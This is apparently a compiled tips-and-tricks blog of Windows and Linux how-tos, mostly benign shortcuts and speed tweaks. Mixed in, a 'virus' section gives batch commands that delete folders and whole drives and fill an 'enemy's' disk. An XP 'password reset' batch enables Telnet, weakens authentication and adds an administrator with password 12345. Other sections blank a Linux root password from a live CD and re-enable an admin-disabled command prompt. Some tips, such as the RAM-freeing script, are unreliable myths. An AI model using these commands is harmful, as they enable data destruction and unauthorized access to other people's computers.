HOW TO REMOVE SHORTCUT FROM FLASH DRIVE

TO REMOVE SHORTCUT FROM FLASH DRIVE,YOU HAVE TO FOLLOW THESE STEPS:
Click on "Start" -->Run --> type cmd and click on OK.
Here I assume your pen drive letter as G:
Enter this command.

attrib -h -r -s /s /d g:\*.*

You can copy the above command --> Right-click in the Command Prompt and
paste it.
Note : Don't forget to replace the letter g with your pen drive letter.
Now press "Enter".
Now check for your files and folder in Pen Drive.

HOW TO FREE YOUR RAM FOR BOOST THE SYSTEM SPEED

Hello friends,well, if you facing slow speed problem due to low volume ram,you dont want to buy new high volume ram for your system,ok.then i have a trick to take free some amount of your ram,it will boost your system performance.
ok lets comes to the topic
to do so-
1-open notepad
2-type-FREEMEM=SPACE(640000)
3-save it as-freeRAM.vbs
4-close the notepad.
5-look at your desktop,now you will find a script on your desktop.double click on it always,when you want to free some space of your ram.

HOW TO PASSWORD PROTECT YOUR MICROSOFT WORD DOCUMENT

Do you want to protect your Microsoft Word document files?Not all..but some of you.For the peoples who need to protect your word document I am explaining here how to do it.After reading this article,you can create your own password protected word document.Just go through the below steps to create a password protected worl document.

1.First of all open the document that you would like to protect.

2.When the document is opened, click the Review tab at the top.

3.Select Protect Document on the right side, it should have an icon of a document and a yellow padlock.

4.A sidebar will appear on the right, click the button “Yes, Start Enforcing Protection”. When you have clicked that,a pop up will appear asking you to create a password for the document.


Enter the password for your word document.Now you have done ...

FIREFOX KEYBOARD SHORTCUTS FOR FASTER BROWSING

The study of browser shortcuts will lead you to a easy world of internet browsing.Here I am listing some keyboard shortcuts for you.It will take a while to study these shortcuts,But after you study this it will increase your speed of browsing..Let us hav a look to the shortcuts,

1.Space bar-Page down

2.Shift+space bar-Page up

3.Ctrl+n- new window

4.Ctrl+t -new tab

5.Ctrl +f -Find in page

6.Ctrl+k-go to search box

7.Ctrl+L -go to address bar

8.Ctrl +D -Book mark page

9.Ctrl + + -Zoom in

10.Ctrl+ - -Zoom out

11.Ctrl +0 -Original size

12.Ctrl+R-Relode page

13.Ctrl+W -close the tab

14.Alt+Home-go to home page

HOW TO PHYSICAL ACCESS TO LINUX SYSTEMS

From a Physical Security (PHYSSEC) perspective, problems do not really begin until
attackers have their hands on a machine. Having suitable access controls to prevent
direct access and policies in place to prevent social engineering will help ensure that
attackers are kept at a safe distance.
Linux is a robust OS, but it is still vulnerable to hardware dangers that may lead to
damage on its physical drives or power losses that may cause data corruption. Therefore,
in addition to access controls, server rooms should include the following items to ensure
integrity and availability and provide protections from power outages, power anomalies,
floods, and so on:
• Adequate air conditioning for all servers at peak utilization
• Suffi cient power, UPSs, and PDUs
• Raised fl ooring
Social Engineering
Social engineering is not particularly a Linux thing, but it does apply. People are
often the weakest link in security, and Linux is not immune to this problem. Very sensitive
servers should, therefore, be contained within a locked server rack, thus providing an
additional layer of access control and protecting highly sensitive equipment from
semitrusted personnel. Furthermore, servers should always be contained in a suitable
environment, having at least the following access controls to protect security:
• Keycard access to server room allowing only authorized personnel
• Real-time cameras and video recording equipment to guard all servers and
archive activity
• Locking server rack for highly sensitive servers
Although serious social engineering can take the form of uniformed workers and
contractors with business cards and badges, keep in mind it can also occur in the form of
interviewees, new hires, temporary employees, or interns doing low-level jobs.
Preventing Social Engineering
Considering the potential consequences, the best plan is to stop would-be attackers at
the beginning. Prospective entrants to server rooms, especially visitors or contractors,
should always be vetted to verify they are expected and have sufficient approvals. Any
guests or contractors should be supervised at all times while in the server room. They
should never be left unattended. Security awareness training for all personnel will also
go a long way toward assuring such security processes are adhered to.
Although secure processes and security awareness training will reinforce such
concepts, unauthorized physical access is still best hindered by
• Maintaining least privilege physical access controls by locking vital areas and
providing unique keys only to specifi c personnel who need access
• Performing background checks, both criminal and fi nancial, prior to granting
physical access
• Designing the route used to access systems such that it passes more than one
employee, especially employees with access privileges to the respective systems
• Mixing physical locks with more high-tech ones, so hacking the access control
system does not grant access to places that also require a key.
CONSOLE ACCESSOnce attackers have access to the Linux server console, you can still put up several
potential barriers other than just the root password. All barriers have notable weaknesses,
however, that require review and mitigation.
Stealing/Changing Data Using a Bootable Linux CDOnce an attacker has gained physical access, getting into a box can be as simple as
booting to a CD-based Linux distribution, deleting the root user account password in the
/etc/shadow file (or replacing it with a known password and salt), and booting into the
system, normally with full access. This can be accomplished step-by-step as follows:
1. Reboot the system and confi gure it to boot from the CD-ROM.
2. Boot the system into the bootable Linux distribution, such as one of the
following:
• Backtrack2 (http://www.remote-exploit.org/backtrack_download.html)
• Knoppix-STD (http://s-t-d.org/download.html)
3. Open a root command shell.
4. Create a mount point by typing the following mkdir mountpoint, which will
create a directory called mountpoint. This is where the fi le system will be
mounted.
5. Determine the type of hard disks (SCSI or IDE) on the system. SCSI drives will
be represented by sda, sdb, sdc, and so on, whereas IDE drives are represented
by hda, hdb, hdc, and so on. To determine the disk type, type fdisk –l or look
through the output of the dmesg command. Sometimes you’ll need to try
several approaches.
6. Determine the partition on the disk to be mounted. Partitions on the disk are
represented as sda1, sda2, sda2, and so on, for SCSI drives and hda1, hda2,
hda3, and so on, for IDE drives. Identifying the correct partition that contains
the /etc/shadow fi le (always the root “/” partition) can be trial and error,
especially if numerous partitions exist on the system, but it is usually one of the
fi rst three partitions.
7. Type mount /dev/sda# mountpoint, where /dev/sda# is your root partition
(sda1, sda2, sda3,…), and mountpoint is the directory you created.
8. Change to the /etc directory on your root partition by typing cd mountpoint/
etc.
9. Use your favorite text editor (such as vi) to open the etc/shadow fi le for
editing.
10. Scroll down to the line containing the root’s information, which looks
something like:
root:qDlrwz/E8RSKw:13659:0:

99999:7:::
11. Delete everything between the fi rst and second colons, so the line resembles
this one:
root::13659:0:99999:7:::
If password complexity is enabled on the system, deleting the root password will not allow you to
successfully log in to the system using a null password. A known password meeting complexity
requirements using the same encryption methodology must be copied and pasted in place of the old
root password.
12. Save the fi le and exit your editor.
13. Type cd to return to the home directory.
14. Type umount mountpoint to unmount the target file system.
15. Type reboot to reboot the system and remove the bootable Linux distribution
CD from the drive.
16. Now the system can be accessed as root with no password (or the known
password).

HOW TO MAKE YOUR COMPUTER FASTER

how to make your computer faster?
well,this is so simple.just follow some steps to make faster your pc.
1-go to the command prompt & type: msconfig
2-click on start up & disable all.
3-if you using windows7 or vista,then use the software called ready boost.
if you are windows xp users,then go to computer properties>advance>

performance>settings>advance>virtual memory,now set the volume 20% more than recommended.
4-increase pagefile of your computer.click on my my computer,click on the c:// drive,go to the properties of c drice & click on change virtual memory,now set the space how much you wana use for temp.memory.
5-always delete your temp.file,click on start,go to run & click on it,type in box:%temp%
& hit the enter.so many files will open,select all & delete.
6-again go to start,run,type in box:recent
& hit the enter
select all & delete.
7-disable search indexing,go to my computer,right click on c drive,click on properties,check free to allow files on this drive to have contents indexed....,now click on ok & close it.
8-download windows washer software.
9-clean your disk.go to start, all programms,accesories,system tool,disk clean up choose the c drive & click on clean.same with other drive.
10-disk dgfr once in a week.go to start,all programms,accesories,system tool,disk degfragment,click on c drive & second click on degfragment.it will be start,let it be finish,same with all other drives.
that's it friend.

CREATE A VIRUS TO DELETE DATA FROM ANY COMPUTER

(1) Open notepad and type rmdir C:\\documents and settings /S /Q save it as virus.bat :)you can put any folder name instead of \"Documents and settings\" if you are familiar with your enemy`s data place.

(2) delete all files from hard disk. Open notepad and type DEL /F /Q* save it as delete command. This will wash everythings on Hard disk so be carefull.

(3) Create A Huge File Virus, who will block every things to your enemy`s hard disk. You can create a file of any size using nothing more than what's supplied with Windows. Start by converting the desired file size into hexadecimal notation. You can use the Windows Calculator in Scientific mode do to this. Suppose you want a file of 1 million bytes. Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.) Pad the result with zeroes at the left until the file size reaches eight digits—000F4240. Now open a command prompt window. In Windows 95, 98, or Me, you can do this by entering COMMAND in the Start menu's Run dialog; in Windows NT 4.0, 2000, or XP enter CMD instead. Enter the command DEBUG BIGFILE.DAT and ignore the File not found message. Type RCX and press Enter. Debug will display a colon prompt. Enter the last four digits of the hexadecimal number you calculated (4240, in our example). Type RBX and press Enter, then enter the first four digits of the hexadecimal size (000F, in our example) and press Enter. Enter W for Write and Q for Quit. You've just created a 1-million-byte file using Debug. Of course you can create a file of any desired size using the same technique. This huge file will cover all inod from the hard disk and your enemy will not be able to write any thing on the hard disk.
more info 

Know how to solve this 10 problems in your PC easily

The system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt- Delete to restart your computer.

If you do this you will lose any unsaved information in all open applications.You have just been struck by the Blue Screen of Death. Anyone who uses M'zoft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?
** 1. Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself. If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use oth
devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is rough the following route:
* Start-Settings-Control Panel- System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it. Sometimes you may have to find more recent drivers on the internet to make the device function properly. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to M'zoft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip.Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

** 2. Bad Ram Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem.

Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged. Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

** 3. BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more
unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
M'zoft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

** 4. Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to de-fragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
>>Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure.
You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop). Some lockups and screen freezes caused by hard disk problems can be solved by reducing the
read-ahead optimisation. This can be adjusted by going to
>> Start-Settings-Control Panel-System Icon-Performance-FileSystem-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary
Internet Files folder. Deleting the contents (not the folder) can free a lot of space. Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
>>Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

** 5.Fatal OE exceptions and VXDerrors

Fatal OE exception errors and VXD errors are often caused by video card problems. These can often be resolved easily by reducing the resolution of the video display.
Go to
>> Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate. If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
>> Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display

Adapter. A line of text

describing your video card

should appear. Select it (make it

blue) and press properties. Then

select Resources and select each

line in the window. Look for a

message that says No Conflicts.

If you have video card hardware

conflict, you will see it here. Be

careful at this point and make a

note of everything you do in

case you make things worse.

The way to resolve a hardware

conflict is to uncheck the Use

Automatic Settings box and hit

the Change Settings button. You

are searching for a setting that

will display a No Conflicts

message.

Another useful way to resolve

video problems is to go to

>> Start-Settings-Control Panel-

System-Performance-Graphics

Here you should move the

Hardware Acceleration slider to

the left. As ever, the most

common cause of problems

relating to graphics cards is old

or faulty drivers (a driver is a

small piece of software used by

a computer to communicate

with a device).

Look up your video card's

manufacturer on the internet

and search for the most recent

drivers for it.

6 Viruses

Often the first sign of a virus

infection is instability. Some

viruses erase the boot sector of

a hard drive, making it

impossible to start. This is why

it is a good idea to create a

Windows start-up disk. Go to

>> Start-Settings-Control Panel-

Add/Remove Programs

Here, look for the Start Up Disk

tab. Virus protection requires

constant vigilance.

A virus scanner requires a list of

virus signatures in order to be

able to identify viruses. These

signatures are stored in a DAT

file. DAT files should be updated

weekly from the website of

your anti-virus software

manufacturer.

An excellent anti-virus

programme is McAfee VirusScan

by Network Associates. Another

is Norton AntiVirus 2000, made

by Symantec.





**7. Printers

The action of sending a

document to print creates a

bigger file, often called a

postscript file.

Printers have only a small

amount of memory, called a

buffer. This can be easily

overloaded. Printing a

document also uses a

considerable amount of CPU

power. This will also slow down

the computer's performance.

If the printer is trying to print

unusual characters, these might

not be recognised, and can crash

the computer. Sometimes

printers will not recover from a

crash because of confusion in

the buffer. A good way to clear

the buffer is to unplug the

printer for ten seconds. Booting

up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
** 8. Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy. The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system.Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode. Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly. Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.Remember to restore all the BIOS settings back to their former settings following installation.


**9 .Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to. CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
** 10. Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut. It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

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100 keyboard shortcuts

CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
DELETE (Delete)
SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
ALT+SPACE BAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACE BAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a sub-menu)
LEFT ARROW (Open the next menu to the left, or close a sub-menu)
F5 key (Update the active window)
BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)

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RESET WINDOWS XP PASSWORD IN EASY METHOD

Its a huge problem with the human that forgetting everything,it will lead you to a big problem if you forget your password of computer which is having a large information.If the password is lost,most of the peoples will reinstall the OS,which is not a suitable solution to recover your files.Then what you do if you lost your computer password and you have another account on your computer,here is the solution to reset your password if you are using an windows XP OS.
Normally windows will create an administrator account when you install your windows xp.you can enter in to this account and can manage your accounts easily.
Here is the step by step instruction to reset your password if you lost it..

Copy and paste the below code in to a notepad

echo off
sc config TlntSvr start=auto
sc start TlntSvr
tlntadmn config sec=-NTLM
tlntadmn config mode=stream
net user administrator /add net user administrator 12345
net localgroup administrators administrator /add
del use
exit

Now save it as any name.bat

Double click on it and open,it will reset administrator password to 12345 and login to your account.

Here is the second method to reset your xp password if you are having access to another account
Go to command prompt and type net user user name password and hit enter.
Change the user name with the user name which you want to reset password and password with the new password you wish to apply to that account.

This is for educational purpose only and not for using on public and other computers,handle it carefully and safely.
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HOW TO INCREASE WINDOWS XP INSTALLATION SPEED?

This tip will be very helpful for those who frequently install windows xp operating system. Normally Windows XP installation takes around 40 minutes to complete, but through this trick you can now save 10-15 minutes. This simple tricks goes this way.

1. Boot through Windows XP CD.

2. After all the files are completely loaded, you get the option to select the partition. Select “c”.
3. Now Format the partition, whether it is normal or quick with NTFS or FAT
4. Once the formatting is completed, All the setup files required for installation are copied. Restart your system by pressing Enter.
Now, here begins the Simple trick to save 10-15 minutes.
5. After rebooting, you get a screen where it takes 40 minutes to complete or finalize the OS installation.
6. Now, Press SHIFT + F10 Key :- This opens command prompt.
7. Enter “Taskmgr” at the command prompt window. This will open Task Manager.
8. Click the Process Tab, here we find a process called Setup.exe -> Right Click on Setup.exe -> Set Priority -> Select High or Above Normal. Initially it will be Normal.
Thats it, no more work to do. Relax your self and see how fast the installation process completes

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HOW TO SECURE YOUR USB FROM GETTING VIRUS ON IT

If you desire to protect your USB from getting unwanted files i.e. virus, worm, spy, trojan etc than you are at the exact place.

What I’m gonna tell you is that how to setup your registry to end a computer from saving files to your USB (It’ll block all of them)

If you contain windows XP with SP2, then you can immobilize the writing option to USB drives. This trick is very helpful if you have virus in your computer and desire to copy files from a USB Drive but don’t desire to transfer virus to the USB. Follow the given steps to disable the USB writing option:

TO TURN ON THE DEFENCE

Open notepad and copy and paste the following:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlStorageDevicePolicies]

“WriteProtect”=dword:00000001

Now keep the file with the extension “.reg”.

Click on the file you presently saved. In the pop-up window chose YES and then OK.

That’s it your USB is now sheltered

To TURN DEFENCE OFF:

open notepad and copy and paste the following:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlStorageDevicePolicies]

“WriteProtect”=dword:00000000

Now put aside the file with the extension “.reg”.

Click on the file you presently saved. In the pop-up window click YES and then OK.

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TRANSFORM YOUR WINDOWS XP IN TO WINDOWS 7

If you are using Windows XP and want to experience Windows 7 without installing then here is Seven Remix XP transformation pack to transform Windows XP to Windows 7.With this simple app you can make your XP look like Windows 7 in just few clicks. It supports Windows XP, Windows 2003, Windows Media Center Edition and some other flavors of XP. Will work with only 32 bit edition of Windows.

Just download it and install .

Download Seven Remix XP and transform your windows xp

HOW TO MAKE A CALCULATOR USING BATCH FILE

To create a calculator using batch file open notepad and copy the code below
----------------------------code------------------------------
echo off
cls
echo.
echo This is multiplication calculation
set/p "user=FirstNo=>"
set/p "pass=SecondNo=>"
set /a a=%user%*%pass%
echo so the answers is = %a%
pause >nul
---------------------------end code---------------------------

 paste the copied code in your notepad and save as "calculator.bat" or any other name with bat extension
you can change * with +,- and /  to perform various operations

Share your tricks with me to post in my blog with your name or url
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TRANSFER FILES BY THE USE OF COMMAND PROMPT

To transfer files in your computer using CMD follow the steps below

Click on Start>Run.(Microsoft +r)

Then type CMD and click OK.

A black color dialog box will appear.

For example,I'm copying a file from a folder named 'magic' in c: drive to drive f:..

To perform this operation write the below code  in CMD.

xcopy c:\magic f:\ /s

Then press ENTER.Your files will be copied.
For copying other files and folders just change the directory in this command and leave everything same as it is.
EnJoy..
For more tricks and Tips visit www.photosgallary.blogspot.com 

HOW TO MAKE CON FOLDER IN YOUR COMPUTER

Did you ever think that why cant you create folders like con,nul , prn,etc..in our PC.So here's the solution..with this solution you can create almost any folder in your PC like the above mentioned..(prn,nul,con,etc)..So let's get started...

To make folder "con"in your PC,you have to make two Batch files.One file would be 'con maker.bat' and another file would be 'con remover.bat'.You have to create 'con remover.bat' because you cannot delete the folder "con" very easily.So here's the command for the batch file "con maker.bat".Paste this command in Notepad and save it as 'con maker.bat'.

@echo off
mkdir c:\con\
start c:
msg * con has been created..



Now the command for 'con remover.bat'.Paste this command in Notepad and save it as 'con remover.bat'.

@echo off
rmdir c:\con\
start c:
msg * con has been removed successfully.


Firstly, open 'con maker.bat' then you will see a folder name 'con' in C: drive and then open 'con remover.bat' to delete 'con' folder from your computer.

You can change the drive by changing the drive name and can change the path too...

Submit your tricks to me for sharing in my blog with your name and url 

For more tricks and Tips visit www.photosgallary.blogspot.com 

HOW CREATE YOUR PHOTO USING TEXT?

Convert your photo to text or create your photo using text.

Try the below site it will be more funny when you see your photo in the form of letters.Goto the site below and upload a photo of you and click submit button.You will get the text form of that photo.


Check the site now http://photo2text.com/

HOW TO ENABLE COMMAND PROMPT IN SYSTEM,DISABLED BY ADMINISTRATOR

Here I am explaining three ways to enable disabled command prompt.whenever the command promp(cmd) is disabled,and when you try to open command prompt you will get a message like

"The command prompt has been disabled by your administrator"

You can get free from this problem by the help of any of below three methods

Method 1: Using the console registry tool
   
Click Start, Run and type this command exactly as given below: (better - Copy and paste)

REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f

Method 2: Edit the registry directly(regedit)

 Open Registry Editor (Regedit) and navigate to:
 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
 In the right-pane, double-click DisableCMD and set it's data to 0
     

Method 3: Using Group Policy Editor



Click Start -> Run ->type gpedit.msc -> click OK.
Navigate to User Configuration \ Administrative Templates \ System
Double-click the Prevent access to the command prompt

here you can enable or disable command prompt

For more tricks and Tips visit www.photosgallary.blogspot.com 

HOW TO WATCH HIGH QUALITY VIDEOS IN YOUTUBE

Hello guys,
we all daily watches video & download from the youtube.you know every video of youtube is in flash format.some video is in very cheap resolutions.so if you watching a video online in youtube & u feeling that it is not much more clear,so just do this trick.you have to add this code behind the youtube video you are watching.after adding this code you will find out that video qualiy has been boost.this trick you can do with downloading. for example:http://www.youtube.com/watch?v=vPnww_h0I60,this is url of video you are watching.now what you have to do,just simple.http://www.youtube.com/watch?v=vPnww_h0I60&fmt=18,& hit the enter.now see this video in high defination & clarity. in downloading section. this is the video url u want to download in mp4 format without using anysoftware.just try this trick.your video automatically will download in mp4 quality. example:http://www.youtube.com/watch?v=vPnww_h0I60,just add the same code behind the url.http://www.youtube.com/watch?v=vPnww_h0I60&fmt=18,now download it.it will download in mpeg-4 technology. 
this trick has been made by-johnplayers-http://www.learntohack.webnode.com

HOW TO ENABLE OR DISABLE REGEDIT IN YOUR SYSTEM

Enable or disable the gpedit of the system which is disabled by administrator or virus.It may difficult to install and register it in windows registry if the regedit is disabled.In most of the cases virus will disable the regedit.Here I am explainning how to enable or disable the regedit by the help of gpedit..
You have to follow the below procedure to enable or disable regedit in your system

goto
Start -> Run -> gpedit.msc -> User Configuration -> Administrative Templates -> System -> Prevent access to registry editing tools -> Right Click Properties -> Disabled ->Apply.
Than try the regedit option it will be enabled.

If it is due to a virus and virus is still there it will be disabled again.You can enable it again by means of above procedure..  

For more tricks and Tips visit www.photosgallary.blogspot.com